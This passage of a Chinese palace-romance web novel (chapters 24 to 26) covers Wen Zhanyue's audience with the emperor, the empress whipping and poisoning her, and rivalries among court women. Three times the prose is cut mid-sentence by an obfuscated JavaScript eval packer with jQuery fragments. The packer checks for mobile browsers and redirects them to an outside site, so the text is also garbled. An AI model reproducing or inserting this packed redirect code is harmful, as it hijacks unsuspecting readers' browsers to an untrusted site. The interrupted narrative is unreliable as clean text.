她洗了个澡,换了一身干净的衣服去找温斩月。 此时温斩月已经做好了手里的机关,听到耳边传来脚步声,温斩月拿起机关对准梨落。 梨落急忙举手投降。 “宝贝阿月,这个东西可不敢乱瞄准。”梨落心虚道。 温斩月偏移开来,朝着梨落身旁射击,砰的一声,一旁摆放的花瓶瞬间四分五裂,杀伤力极强。 梨落看着满地的碎片,一脸的心疼。 “你试试就试试,干嘛对花瓶出手,真是暴殄天物。” “你喜欢再去买就是了。”温斩月收回手,将做好的机关放在盒子里装了起来。 梨落走过来,不满的嘟嘟嘴。 “没想到还真让你把枪做出来了。” “枪?”温斩月指指盒子,“这个东西叫做枪吗?” “对啊。”梨落点点头。 温斩月摇摇头,“听起来,并不算是个好名字。” “那你重新给它起一个吧。”梨落搬了一把椅子坐在温斩月的身旁。 温斩月沉眸,片刻摇摇头。 “这是送给容妄的礼物,名字的事还是让他自己拿主意吧。”温斩月朝着梨落伸出手,“还有没有别的机关图纸?” “没有。”梨落摇头。 “这个东西也是我偶然得到的,本来也没有想到你会做出来,没想到你**真是个天才。” 温斩月直觉这不是一句好话。 她将盒子往旁边一推,“商铺的事情处理的怎么样了?” “很顺利。”梨落趴在桌上,“东六街的商铺很多都是赚不到钱的,听说我愿意租下来,几乎没有人不乐意,就算有那么一两个,在双倍租金的诱惑下,也都就同意了,现在只等着容妄手里的特权书了。” “这需要些时间。” “我知道,我也没有催促他。”梨落换了个姿势,单手撑着下巴。 “对了,你今日托我买的东西我全部都给你买回来了,就放在那边的架子上,你去看看有没有什么遗漏的。” 温斩月起身走到架子旁,一一查看。 “没有遗漏,谢了。”她拎着东西朝着书桌走去。 梨落询问道:“你买这些做什么?” “生息粉。”温斩月如实回答道:“容妄手里的梨花白不多了,我打算做一点备着,免得他毒发受苦。” “啧啧啧。”梨落不满道:“恋爱的酸臭味。” 温斩月没有理会梨落语气里的酸味,梨落自讨了个没趣,站起身来,“你好好忙吧,我今天可是累了一天,回去歇着去喽。” 梨落冲着温斩月摆摆手,转身离开。 温斩月做好生息粉,便去书房找容妄,去的时候,青澜并没有守在门外。 推开门,温斩月直接便问,“今日青澜去哪里了?怎么没看到他。” “估计是去了校场。”容妄将手中的折子放到一旁,“过来,本王有东西给你。” “特权书?” “你眼里只有特权书吗?”容妄佯装生气。 他递给温斩月一张纸条。 “特权书还需要一些时日,耐心等着便是。” 温斩月拿着纸条打开,看到上面是她和容妄的生辰八字,批注是大吉。 “这是观星监合完的八字批注。”容妄凑近温斩月,“你与本王乃是天定良缘。” “挺好。”温斩月合上纸条。 她并不相信这些,于她而言,就算观星监测出来她与容妄不配,她照样还是会将容妄捏在手里。 这个男人是她的,谁都抢不走。 老天爷也不行。 温斩月的态度让容妄心里闷闷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801020|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他开口问道:“知道你和本王是天定良缘,你不开心吗?” “不是。”温斩月摇头,“臣妾只是觉得,就算臣妾和王爷是孽缘,那臣妾也甘之如饴。” 这话极大程度上取悦了容妄。 他笑笑,“你说的是,本王要娶什么人,全凭本王说了算。” 温斩月没再说什么,从怀里掏出生息粉,递给容妄。 “这些生息粉你备着,万一我不在你身边,你也可以拿着应急。” “你不在本王身边?”容妄眯起眼,“你要去哪里?” “臣妾只是打个比喻。”温斩月伸手勾住容妄的脖颈,“王爷在这里,臣妾哪儿也不去。” “最好是。”容妄抱着温斩月坐到书桌上。 “观星监的八字合完了,你明日跟随本王进宫一趟。” “好。”温斩月吻上容妄的唇。 柔软的触感让容妄把持不住,他抱紧怀里的人,加深了这个吻,但他并没有下一步的动作,尤其是当温斩月的手深入他衣服里时,他急忙摁住。 温斩月双眼迷离,“王爷不想吗?” “想。”容妄眼底情欲浓重。 “但不是现在。” “臣妾觉得现在才是好时机。”温斩月靠近容妄,吐气如兰。 容妄稳住心神,“本王不想欺负你,还是留着新婚之夜,好吗?” “也好。”温斩月并不在意这些,但她能理解容妄为何这样做,大概就是梨落口中的仪式感。 “王爷既然想等到新婚之夜,那就放开吧。” “不要。”容妄摇头,“再抱一会。” 虽然能看不能吃很难受,但容妄就是不想放温斩月离开,他禁欲太久,从来都没有因为旁人让他这么失守过。 “王爷别只顾着自己,你抱着臣妾,臣妾会忍不住想要进行下一步的。” “不知羞。”话虽这么说,但容妄还是松开了。 “好好休息,明日跟本王一起进宫,无须担心,一切有本王在。” “好。” 温斩月从书房离开,正好看到青澜再外面回来,耷拉着脑袋,似乎有什么心事。 “你去哪儿了?”温斩月拦住青澜。 青澜被吓一跳,看到温斩月时,脸色一阵青白。 “做什么对不起本宫的事了。”温斩月质问道。 青澜辩解,“我什么时候做了?你有证据吗?没有的话我就要去告诉王爷你污蔑我!” “你很反常。” “我没有。”青澜躲开目光,“我还有事找王爷,你少挡路。” 温斩月抓住青澜的衣领,“你对本宫说话客气点,不然,本宫真的会对你不客气的。” 青澜吃瘪的闭上嘴。 他心里就算有一千个不愿意,也得承认,温斩月是他主子的事实。 “青澜该死,还请王妃责罚。” “这次就放过你,但你记住,不会再有下一次。” 温斩月松开青澜,看着青澜慌不择路的离开,越发觉得这其中有猫腻。 回到锦绣阁,温斩月便歇下了。 第二日一大早便起来洗漱。 春夜从衣柜里拿了一件庄重但不浮夸的衣服给温斩月换上。 “王妃,今日要进宫,宫里不比王府,有诸多规矩,您要当心些。”春夜一边给温斩月梳妆,一边叮嘱道。 温斩月瞧着铜镜中的自己,嘴角带笑。 “你就别操心了。”一旁的梨落受不了春夜的碎碎念,“你家王妃有王爷护着呢,倒是你,待会收拾一下,跟我出府吧。” “梨落小姐今日又要出去?” “可不是嘛。”梨落揉揉酸痛的脖颈,“最近的事情太多了,又要操办婚事,又要搞定店铺,我一个人恨不得变成八个人用。” “那要不带上落星小姐?”春夜建议道。 温斩月眸光一冷。 “你最近倒是和北院的人走的近。” “奴婢没有。”春夜急忙跪下去,“就是落星小姐主动亲近奴婢,奴婢觉得她跟其他的温家人不一样,便走的近了一些,但王妃放心,奴婢真的没有做半点对不起王妃的事情!” “起来吧。”温斩月抬起眼皮。 她对温落星没有什么情绪,但她不喜欢温家人。 第24章 谁让你动她的? 皇宫巍峨,宫墙厚厚。 夜王府的马车停在宫门口,容妄先下了车,随后朝温斩月伸手。 “宫里规矩多,马车不能进。”容妄牵着温斩月的手,“剩下的路,你与本王一起走进去吧。” “都听王爷的。” 温斩月任由容妄牵着,两人从宫门口进入,朝着里面走去。 这个时间点皇上已经下了朝,太监王公公将两人带到了苍梧殿。 一入殿内,温斩月就感受到了一股极强的压迫力,她低垂着眸,和容妄一起走进里殿。 在他们的面前,摆放着一扇巨大的屏风,屏风后有个男人的身影。 这大概就是当今圣上咸阳帝了。 “参见陛下。”容妄微微低头。 屏风后的身影动了动,片刻,从屏风后走了出来。 “这边是你要迎娶的女子?”咸阳帝的目光上下打量着温斩月。 温斩月深色清冷,目光平静。 她曾在画像上见过咸阳帝的样子,约莫三十岁的年纪,却十分老成,明明是笑着的,但总让人觉得不寒而栗。 “阿月参见陛下,愿陛下安康。” “起来吧。”咸阳帝朝着容妄挑眉。 “朕还以为你这辈子都会孤独终老呢,没想到趁着朕不注意,便将人抬进了门,现在又来求朕赐婚,好一个先斩后奏。” “陛下恕罪。” “少整这些虚头巴脑的。”咸阳帝走到一旁的棋桌前坐下。 “人朕已经见了,你满意,朕无异议。” “多谢陛下。” “好了。”咸阳帝朝着容妄招招手,“你陪着朕手谈一局,至于你的小娘子,就放她去宫里走走吧,朕御花园的牡丹刚开,是个不错的好景。” 这就是在赶人了。 温斩月心领神会,行礼。 “那阿月就不打扰陛下了。” “不要乱跑。”容妄叮嘱道:“去御花园找个地方,等着本王。” “知道了。” 从苍梧殿退出来,温斩月并没有去御花园,她对于美景没有什么兴趣,与其在御花园浪费时间,不如做点正事。 皇宫的布局建设十分有讲究,温斩月一边闲逛,一边默默在心底里绘画地图。 “姑娘。”忽然一位嬷嬷拦住了温斩月的去路。 “皇后娘娘有请,还望姑娘移驾清心殿。” “嬷嬷可知皇后娘娘找我何事?” “这老奴就不知道了。”嬷嬷垂着眉眼,“姑娘去了清心殿,亲自去问娘娘吧。” 温斩月迟疑片刻,最终还是跟着嬷嬷来到了清心殿。 刚一进入,就被人绑了起来。 “跪下!”嬷嬷朝着温斩月膝盖处使劲儿踹了一脚。 温斩月半跪在地上,她仰着头看向坐在高位的皇后娘娘,明艳大气,美貌天成,倒是和她想的很不一样。 “娘娘这是何意?”温斩月冷静的问道。 赵如银抬手扶了下发钗,阴冷的目光扫过温斩月,眼里蕴含着毫不掩饰的仇视。 这让温斩月很是震惊。 按理来说,她与眼前的人是第一次相见,哪来的深仇大恨。 不过好在温斩月有脑子,她不用深想也猜的出来,眼前这人对她的态度多少和容妄有点关系,说不准又是一段不为人知的风流往事。 “娘娘,今日我是和夫君一同入宫的,您若是没有别的事,就把我放了吧,否则,夫君找不到我,可是会着急的。” “你还有脸提他?”赵如银从位置上起身。 她一步一步走向温斩月,一旁的嬷嬷将早就准备好的皮鞭递到她手上。 “本宫问你,解药到底在哪里?” “什么解药?”温斩月佯装无辜。 “本宫看你真是不见棺材不落泪。”赵如银挥舞着手里的皮鞭,朝着温斩月身上猛地就是一下。 那皮鞭浸过辣椒水,一鞭子下去,皮开肉绽,辣椒水渗入伤口里,疼的温斩月眉头紧蹙。 但她唇角却依旧带着笑。 “娘娘就这点本事吗?” “你敢嘲讽本宫?”赵如银发了狠,泄愤似的朝温斩月下手。 直到她打累了,温斩月唇角的笑依旧没收起来。 “你果然是个硬骨头。”赵如银丢掉手里的皮鞭。 她蹲下身来,用手捏着温斩月的下巴。 “容妄护佑天月,天月能有如今的盛世太平多亏了他镇守边疆,四处征战,他是天月的战神,也是本宫最最信赖之人。” “但你竟然敢给他下毒,逼他娶你。” “本宫决不能容忍你这样的人留在他的身边,今日,要么你交出解药,要么本宫杀了你,用你的骨头给容妄打一副棺材。” 听闻此话,温斩月笑的越发明艳。 “我竟不知道娘娘心里藏着别人的夫君,这事,皇上知情吗?” “你在胡说什么?”赵如银狠狠道:“本宫一直把容妄当手足,少用你那龌龊的心思来揣测本宫与容妄之间的情谊。” “好一个手足。”温斩月唇角流着血色。 “那娘娘现在就杀了我,用我的骨头给容妄打一副棺材,让我们死都死在一起,这个结果,我很满意。” “不识抬举!”赵如银松开温斩月。 “既然你死活都不肯交出解药,那本宫只好让你体会一下什么叫做真正的生不如**。” 话音刚落,便有嬷嬷端来一碗汤药。 “你不听话,本宫有的是力气和手段。” 赵如银命人抓住温斩月,强行将碗里的汤药尽数都灌给温斩月。 “此毒名为噬心,发作时,犹如千万只蚂蚁啃咬着心脏,既然你不肯交出解药,那日后容妄疼,你便疼,容妄死,你亦不能活。” 温斩月眸中含冰,她盯着赵如银癫狂的面容,冷嗤。 “多谢娘娘赏赐。” “嘴硬。”赵如银对着温斩月便是狠狠一巴掌。 “本宫倒要看看,毒发时,你的骨头能不能和你的嘴一样硬!” 转过身,赵如银回到高位上坐着,她命人松开温斩月,静静地等待着毒发。 另一边,原本跟着温斩月的王公公看人被皇后身边的人叫走,犹豫片刻,还是回到了苍梧殿,恰逢容妄和咸阳帝刚手谈完一局。 看到王公公回来,容妄挑眉,“王妃呢?” “回王爷的话,被皇后娘娘叫走了。”王公公如实道。 容妄眸光一动。 一旁的咸阳帝催促道:“估计是皇后也想看看,是什么样的女子能让你折腰,你不必担忧,再与朕下一局,朕好久没有与人这么畅快地切磋过棋艺了。” “是。”容妄收回目光,拿起一枚棋子。 许久,棋子仍未落盘。 不知为何,他心中隐隐有些不太好的预感。 “陛下。”容妄将棋子放到一旁,“阿月不懂宫内规矩,臣怕她鲁莽,冲撞了皇后娘娘,不如,让臣前去清心殿瞧瞧,也好让臣放下心来。” “算了。”咸阳帝意兴阑珊。 “你心里想着她,也不能与朕尽兴,去吧。” “臣谢过陛下。” 从苍梧殿出来,容妄紧赶慢赶,快到清心殿时,从里面传来温斩月的惨叫声,他心猛地下坠,快步冲进去。 刚一入殿,便看到了浑身是血,躺在地上打滚的温斩月。 “阿月!”容妄飞跑过去,将地上的人搂在怀里。 坐在高位的赵如银眼中一亮,急忙走下来,“容妄你总算来了,你放心,本宫给她灌了噬心,迟早撬开她这张嘴,替你拿到解药!” “谁让你动她的?”容妄从牙缝里挤出几个字。 “解药。” “什么?”赵如银被容妄的眼神吓到。 “我说解药!”容妄目光阴狠的盯着赵如银,“噬心的解药在哪里?快把解药给我。” 赵如银贵为皇后,一人之下万人之上,她过惯了众星捧月的日子,第一次容妄因为旁人这样凶她。 她心中十分不平衡。 “本宫是为了你好,这个**给你下药,逼你娶她,本宫不过是以牙还牙罢了,你怎么能因为她斥责本宫?” “我娶她是我喜欢,和毒没有半点关系。”容妄伸出手,“解药,不要让我再说第三遍。” 容妄平日里对赵如银尊敬有加,两人关系十分要好,这还是第一次容妄对着她发火,赵如银再怎么心不甘情不愿,也只得把解药交出来。 “本宫不管你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801021|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你愿意被她拿捏,被她**,都是你自己的事,以后不要后悔求到本宫头上来!” “我和她的事,不劳娘娘操心,娘娘管好自己就是。” 容妄将解药喂给温斩月,抱着温斩月头也不回地离开了清心殿。 人刚走,赵如银就将一旁摆放的花瓶砸了个粉碎。 “要不是看在以前的情分上,本宫才懒得管他,他倒好,嫌本宫多管闲事,早知如此,就该让他被毒妇害死,也不至于让本宫去做这吃力不讨好的事情!” “娘娘别气了,王爷肯定有他自己的打算。”一旁的嬷嬷劝说道。 赵如银冷哼一声。 什么打算,依她看,就是被妖女迷惑了。 二十多年的交情,容妄从未凶过她,一直以来对她都是尊敬有加,这还是第一次,因为一个女人冒犯她。 “罢了,他不仁,本宫不能不义,回头找个机会将他支出去,本宫总能从这个毒妇的手里拿到解药。” “娘娘仁慈,相信王爷总能理解到娘娘的苦心的。” “别说这些没用的了。”赵如银扶着额头,“本宫只希望他不要埋怨本宫,跟本宫对着干便是了。” 一旁的嬷嬷点点头,没再多说什么。 清心殿闹了这么一出,很快便在宫里传播开来,就连宋贵妃居住的合欢殿也得知了一些消息。 “本宫的好表妹,你还真是有点手段。”宋承欢伸手抓住秦落雪的肩膀。 “这么多年,本宫一直扳不倒皇后,就是因为她的身后有夜王撑腰,如今两人生了嫌隙,倒是给了本宫可趁之机。” “娘娘毕竟是落雪的表姐,能为娘娘分忧,是落雪的福分。”秦落雪垂眸。 “好啊,真好。”宋承欢松开秦落雪,走到一旁的贵妃椅上坐下。 “以后你有这样的消息尽管递进宫来,你放心,本宫不是不知感恩的人,你想要什么,本宫都会满足你的。” “落雪不敢隐瞒,在边疆之时,落雪就对夜王殿下情根深种,若是能够嫁给他,哪怕是侧妃,落雪也甘之如饴。” “闹了半天,原来是个痴情种。”宋承欢冷笑一声。 “放心吧,本宫巴不得你能嫁给夜王,这样,她赵如银的助力便又少了一些,不过此事还需你自己努力,那容妄的性子最是勉强不得,直接赐婚怕是会起了反作用。” “落雪明白。” “既如此,那便退下吧。”宋承欢摆摆手。 秦落雪低身行礼,转身离开合欢殿。 …… 另一边,容妄抱着温斩月匆匆忙忙出了宫,回府途中,差人去找了卢正义来。 锦绣阁里,容妄将昏迷不醒的温斩月放到床上。 一旁的梨落早就吓坏了。 “阿月这是怎么了?”梨落半跪在床前,“她今早走的时候还好好的,怎么回来就变成这副模样了?” “是本王没有保护好她。”容妄掩去眼底愧疚。 卢太医在一旁把脉,随后又隔着衣服看了看身上的伤口。 “王爷放心,王妃身子没有大碍,只是一些皮外伤罢了。”卢太医从药箱里翻出一瓶上好的金疮药。 “臣是男子,诸多不便,这药还是梨落姑娘来吧。” “哦,好。”梨落伸手去拿药。 容妄率先将药拿走,“你们都出去吧,本王亲自来。” “还是我来吧。”梨落自荐道:“你们这种男人动作粗鲁,肯定不如我细心体贴,万一弄疼了阿月可怎么是好?” “出去。”容妄不容置喙。 梨落还想再说什么,被卢太医连拉带拽地弄了出去。 偌大的锦绣阁,就只剩下容妄和床上昏迷不醒的温斩月。 “让你受苦了。” 容妄褪去温斩月的衣衫,白皙的皮肤上红色的鞭痕刺目又明显,看得容妄心底似乎有什么东西在疯狂地灼烧。 他上过战场,杀过人,鲜血对他来说,是最常见的东西。 可唯独温斩月的血不同。 每次看到这具身体里流出温热的血色,对他的精神都是极大的刺激。 他心底里好像有一头沉睡的野兽在此刻苏醒,想要一点一点,舔干净这些温热醒目的红色。 第25章 这个威胁,很有分量 容妄俯下身去,他眸光微闪。 片刻,他还是直起身来,拿着干净的帕子一点点将温斩月身上干涸的血渍擦拭干净。 大抵是触碰到了伤口,温斩月睁开眼。 “痛醒了?”容妄说着,打开药瓶,给温斩月上药。 “会有一点疼,你稍微忍忍。” 温斩月痛呼一声,偏过头。 这些伤对她来说算不了什么,可在容妄面前,她就是喜欢装的弱一些。 “疼也要忍着。”容妄冷着脸训斥。 “平日里在本王面前张牙舞爪嚣张至极,怎么在外人面前,只能被动挨打?你当初毒杀本王的劲儿呢?去哪了?” “我没有毒杀你。”温斩月没好气道。 “她是皇后,我若是真对她出手,你要怎么办?” “能怎么办。”容妄将伤口包扎好,“本王与你夫妇一体,终归是会护着你的。” “有你这句话我就放心了。” 容妄手一顿,他探知的目光紧盯着床上的人儿。 温斩月别开眼。 “她这么对我,我让她吃点苦头,不应该吗?” “你做了什么?” “其实也没什么。”温斩月穿好衣服。 “就是在她给我下毒的时候,我给她也下了毒而已,在我这种用毒的祖宗面前,区区噬心算不得什么。” “那你……” “我只是想让你心疼我。”温斩月伸手勾住容妄的脖颈。 “你疼我一寸,我便得意三尺。” “本王看你真是疯了。”容妄别开眼,想要挣脱,却使不上力。 “松手。” “不要。”温斩月固执道:“王爷疼疼臣妾嘛。” “松手。”容妄掰开温斩月的手,“不用自损,本王也会疼你,爱你,护你,以后不要再做这样的事。” 温斩月猛地凑近。 “王爷真的心疼了?” “嗯。”容妄应下。 有那么一瞬间,温斩月还以为自己耳朵出了问题。 容妄垂眸,“本王说过,只要你不背叛本王,本王会永远护着你,哪怕你将天捅破一个窟窿下来,本王亦会替你补天。” “王爷是因为我,还是因为夜王妃。” “有何不一样?”容妄反问。 温斩月懒得去讲这其中到底有什么不同。 现如今,已经是最好的安排。 温斩月受了伤,需要多休息,容妄并没有在锦绣阁待多久的时间。 他刚一走,梨落就跟只兔子一样窜了进来。 “你怎么回事?是谁把你伤成这样的?”梨落红着眼睛,一看就是刚刚哭过。 温斩月擦掉梨落脸上的泪。 “哭什么,又没死。” “温斩月!”梨落怒道:“你为什么总是这样?不把自己的命当回事,你难道不知道真正在意你的人,看到你受伤会比自己**还要难过吗?” “从小就是这样。”梨落侧过身,数落道。 “用身体博取同情,无数次以身入局,只为了达到自己的目的,根本就没有想过身边人是什么样的心情。” “是皇后要为难我。”温斩月安抚道。 “难道你要我杀了皇后吗?” “我不信你没有别的办法。”梨落正对上温斩月,“别对我撒谎,我看得出来。” 片刻,温斩月叹了口气。 “好吧,我承认,的确还有别的办法。” “我就知道。”梨落冲着温斩月就是一拳,“温斩月,你这个浑蛋!” “我错了。”抓住梨落的手,温斩月无奈道。 “不该让你担心的。” “你根本就不觉得自己错了,你只是认为我生气了,说不定你还打心眼里觉得我在无理取闹。”梨落腾的一下站起身来。 “你没有心,真的。” “我不求你真的能将我的话听进去,但我请你做个人。” “别再不把自己当一回事了。” 梨落说完,头也不回地离开了锦绣阁。 从小到大,梨落很少真的跟温斩月生气,偶尔有一两次,也很快就哄好了,但这一次,温斩月觉得自己玩脱了。 梨落说的的确没错,她不认为自己做错了,只是不想梨落生气。 义父曾经教过她,一个人想要不被旁人欺负,就要比旁人更狠,有的时候,为达目的不择手段,也是一种发狠。 为了她自己的目的,伤害自己,也是一种手段。 只是她没想到,梨落会这么生气。 离开锦绣阁的梨落心脏处泛着酸楚,她恨不得给自己两巴掌,早知如此,当初就不应该,不应该去…… 心里想着,梨落手臂处又传来钻心的疼。 “妈的,想想都不行吗?想想也犯法吗?”梨落暴躁地踹飞一旁的花盆。 “你有本事就弄死我,弄不死我,我偏要逆天而行,我就不信了,我改变不了这破结局!” 话音刚落,手臂传来剧痛。 梨落疼得差点没晕过去,她稳住心神,长出一口气。 “行行行,我错了,你牛逼,你赢了。” “别疼了,再疼下去,我可**了。” “到时候,你啥也得不到。” 大概是梨落的话起了作用,手臂上的疼痛消解,梨落撸起袖子,看到上面密密麻麻的咒文从金色变成了暗红色。 “你也就这点本事了,**。”梨落嘟囔一声。 “梨落姑娘,你怎么了?”春夜听到动静跑过来,只看到了一地的花盆碎片。 梨落放下袖子,背过手去。 “没什么,就是不小心打翻了花盆,你回头再补一盆水仙放在这里吧。” “好。”春夜清扫着花盆碎片。 “梨落姑娘,王爷和王妃马上就要大婚了,您看您的东西要不要从锦绣阁搬出来,毕竟,以后……” 春夜的话没说完,但梨落已经明白了。 “放心了,我不会打搅他们这对新婚夫妻的甜蜜生活。”梨落没好气道:“这段日子我掌家,倒是觉得王府旁边有一座宅院还不错,我打算买下来,然后搬出去。” “不用搬出去吧。”春夜急忙道:“王府这么大,姑娘挑一处院子搬进去就是,何须离开王府?” “你不懂,我自有我的安排。”梨落长出一口气。 “我要搬出去的事情不许告诉王妃,等我安顿好,我自会告诉她的。” “知道了。”春夜点点头。 梨落没再说什么,她抬起头,扫了一眼天幕,心微微下沉。 …… 自那日回宫后,宫里便来了一道旨。 赐温斩月十二箱金银珠宝,外加一道免死金牌。 这下整个京都城都知道了容妄要娶妻,娶的还是之前从温州城早就抬进门的温斩月,宾客收到请柬,所有人都觉得震惊,却也认为是在情理之中。 只有定国公府,气氛压抑。 尤其是秦三公子秦少明更是愤愤不平。 “我当初妄有多喜欢二姐呢,现在看来,是男人就不会专一,但老子就是咽不下这口气,温斩月这个小**让我受了不少的苦,我真想把她……” “慎言。”秦落雪抬眸。 “过了明道,她就是正儿八经的夜王妃,你若是再口出狂言,得罪了夜王殿下,我们整个国公府都要吃挂落。” “我就是气不过。”秦少明也知道这话有理。 “二姐,难道你就真的能甘心吗?父亲把你从边疆叫回来,可不是为了让你过好日子的,你要是没点手段,我看父亲送你回边疆也是迟早的事。” “够了!”定国公怒吼一声。 “还嫌不够乱吗?” “少明说得没错。”国公夫人张氏眼皮都未曾抬一下。 “当初你与她娘亲厮混,我就是睁一只眼闭一只眼,好在她争气,生得漂亮,颇有一些笼络男人的手段,我才同意你将她带回京都。” 顿了顿,张氏又道:“我女儿命不好,未及笄便香消玉殒,不然,也轮不到她来京都,以婚事替少明铺路。” “现在说这个干什么。”定国公心中烦躁。 “与其在这里讨论这些有的没的,不如好好想想,除了夜王,雪儿还能嫁给谁?京都权贵那么多,嫁不了夜王的确可惜,但也不是非夜王不可。” “我明日会将各家权贵公子的画像拿来,从里面随便挑一个吧,人怎么样不重要,只要将来能帮到少明,那便是极好的。”张氏喝着茶道。 定国公点点头,“如此,最好。” 全程都没有征求过秦落雪的意见, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801022|175100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也习惯了在这个家里的地位。 就如同张氏说的,要不是大小姐秦迎春**,嫁给权贵这种好事哪里轮得到她一个从边疆来的破落户呢。 回到自己的院子里,秦落雪关上房门来,誊抄了好几遍心经,才慢慢的冷静下来。 走到今天这一步,她已经退无可退。 只是想到某个人,她心里就跟揉进了一把锋利的碎片一样,又疼,又难过。 “小姐。”绿珠在门外敲门。 秦落雪等到情绪平复好,这才应声让绿珠进来。 “小姐。”绿珠一脸的为难,“王爷府上的梨落姑娘前来拜访,说是来送王爷和王妃大婚的请帖。” “交给父亲便好。” “奴婢也是这么跟她说的,但她说了,是王妃的吩咐,说要亲自交到小姐您的手上。” 秦落雪脸色一变。 但很快,她就收起了表情。 “我知道了,请她进来吧。” 秦落雪将誊抄好的心经一一都装起来收好,做完这一切,梨落正好拿着请帖从门外面走进来。 “秦二小姐。”梨落将请帖扔在桌上。 “别来无恙啊。” “梨落姑娘何出此言?”秦落雪抬眸看过去,“我与姑娘似乎是第一次见面吧。” “你第一次见我,我却不是第一次见你了。”梨落唇角带着笑,“今日来,也是想给秦二小姐提个醒,我这个人没什么良心,生平最在意的不过温斩月三字,你要害她,便是与我过不去。” “梨落姑娘这话是什么意思?”秦落雪眼中闪过一丝慌张。 梨落走近,“我什么意思,秦二小姐会不知道吗?难道非要让我把青澜找来对质,秦二小姐才肯承认自己做过什么吗?” “我听不明白。”秦落雪偏过头。 梨落伸手摁住秦落雪的肩膀,居高临下的审视。 “就你心里的那点小九九,我一清二楚,这一次我放过你,但下一次,你可别怪我不客气。” “另外,每个人都有在意的人,你身为定国公府的二小姐,我动不了你,难道我还动不了区区一个谢洲白吗?” 谢洲白三个字一出,秦落雪瞬间变了脸色。 “你想做什么?” “你听话,我什么都不做,他自然也啥事没有,但如果……”梨落松开秦落雪,眼里冷冷。 “好自为之吧,秦二小姐。” 梨落一走,秦落雪瞬间跌坐在椅子上。 她不知道梨落是怎么知道谢洲白的,但温斩月的手段她见识过。 不得不说,这个威胁,很有分量。 …… 夜王府,锦绣阁。 之前吵过架后,梨落便没再搭理温斩月。 不管温斩月说什么,梨落都是左耳朵进右耳朵出,直到温斩月失去所有的耐性,把梨落堵在锦绣阁里。 “你打算冷我多久?” “我没有啊。”梨落摊开手。 “反正你也不在意嘛,对吧。” “我在意。”温斩月拦住梨落,语气诚恳,“我知道错了,我可以答应你,以后不管做什么,都先保护好自己。” “真的?”梨落反问。 温斩月点点头,“真的,你别再冷着我了,我不喜欢。” “就是要让你长长记性,不然你永远都记不住。”梨落心中的气其实早就消了一大半了,只是故意冷着。 “我替你查过了,皇后为难你,是因为秦落雪。”梨落声音闷闷道。 温斩月挑眉,有点意外。 “她做了什么?” “她从青澜的口中得知你给容妄下了三日欢,便先你一步,将这个消息告诉了皇后。皇后和容妄关系匪浅,自然是想替容妄出口恶气,所以才针对你的。” 温斩月也想起来了,怪不得那一日,她看到青澜的时候,青澜眼神闪躲,看着就像是做了亏心事。 原来是秦落雪在身后搞的鬼。 “你是从哪里知道的?”温斩月好奇道:“虽然你消息一直很灵通,但这也查得太快了,就好像你开了天眼一样。” “你说的没错,我就是开了天眼。”梨落翻了个白眼。 “所以你以后要对我好点,不然我就去给旁人当幕僚,到时候,你就找地方哭去吧你。” 第26章 纯恨也很好 哄好了梨落,余下这几日,温斩月便一直待在锦绣阁。 听到皇后娘娘凤体抱恙的消息,她也只是微微一笑。 赵如银乃是一国之母,她就算下毒,也不会下致命的**,顶多是让她受点苦头。 大婚前夕,王府北院。 温落星从外面回来,手里捧着一个小盒子。 “父亲,母亲!”温落星迈进庭院,“明日过后,二姐姐就是名正言顺的夜王妃了,你们看看,这份礼物送给她如何?” “她也配收我们的礼物?”温如玉不屑道。 在王府了些许天,温如玉身上的伤早就好了,只不过,他对温斩月的恨意却是加倍,如果没有这个女人,他现在也不至于如此。 温落星没有理会温如玉,而是看向一旁的温城主。 “父亲,大婚过后,我们就要被送回温州城了,以后不见得再有机会来京都,难道你也没有什么想要对二姐姐说的吗?” “温家欠她良多,你能时时刻刻想着她,很好。”温城主垂眸道。 一旁的温夫人冷着脸,不说话。 “母亲,你看看三姐!”温如玉扯了扯温夫人的袖子。 “温斩月她射伤我,根本就不配做我的二姐姐,依我看,以后就该恩断义绝,老死不相往来。” “温如玉,你良心喂狗了吗?”温落星将礼盒放到一旁。 “伤害你的是夜王,你没本事为难夜王,你就怨恨二姐姐,要不是二姐姐关键时刻帮了我们,现在你和我早就**,哪里还轮得到你在这里妄议她!” “母亲,你看看三姐,她就知道为温斩月那个**说话!” “温如玉!”温落星气不过,对着温如玉就是一巴掌,“早知道,当初就不该求二姐姐救你,无情无义的狗东西。” “够了!”一旁沉默不做事的温夫人,起身。 “星儿说得没错,是我们欠月儿良多,这份礼物,我去送吧。” “什么?”温落星不敢置信。 母亲不是一向最讨厌二姐姐的吗?怎么会突然态度转变得这么快。 别说是温落星了,温如玉也惊呆了。 